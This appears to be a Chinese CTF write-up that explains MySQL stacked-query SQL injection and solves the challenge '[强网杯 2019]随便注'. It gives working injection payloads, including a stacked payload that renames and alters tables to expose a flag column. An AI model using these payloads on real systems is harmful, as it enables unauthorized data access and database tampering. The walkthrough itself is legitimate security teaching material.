一、堆叠注入原理
mysql数据库sql语句的默认结束符是以; 结尾,在执行多条SQL语句时就要使用结束符隔开,那么在; 结束一条sql语句后继续构造下一条语句,是否会一起执行? 因此这个想法也就造就了堆叠注入
二、堆叠注入触发条件
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query 函数。但与之相对应的mysqli_query() 函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
1、目标存在sql注入漏洞 2、目标未对";"号进行过滤 3、目标中间层查询数据库信息时可同时执行多条sql语句
堆叠注入的局限性:
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
三、题目
[强网杯 2019]随便注 首先判断闭合符号: 输入1,页面返回: 输入1’ 页面报错了,加上注释符号# 页面又回显正常,那么闭合符号就是单引号;
判断列数:
1' order by 2# //回显正常
1' order by 3
联合查询:
1' union select 1,2
发现过滤了很多函数。
尝试堆叠注入:
1'; show databases;
查表名: 查询这两个表名中的列:
-1'; show columns from 'words';
这里查询表名使用反单引号 注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符:
-1'; show columns from `1919810931114514`;
发现了flag这个列 但是到这里就会出现问题,虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,能不能我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容那,当然是可以的。
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;
用1’ or ‘1’='1访问一下,便可以发现flag
|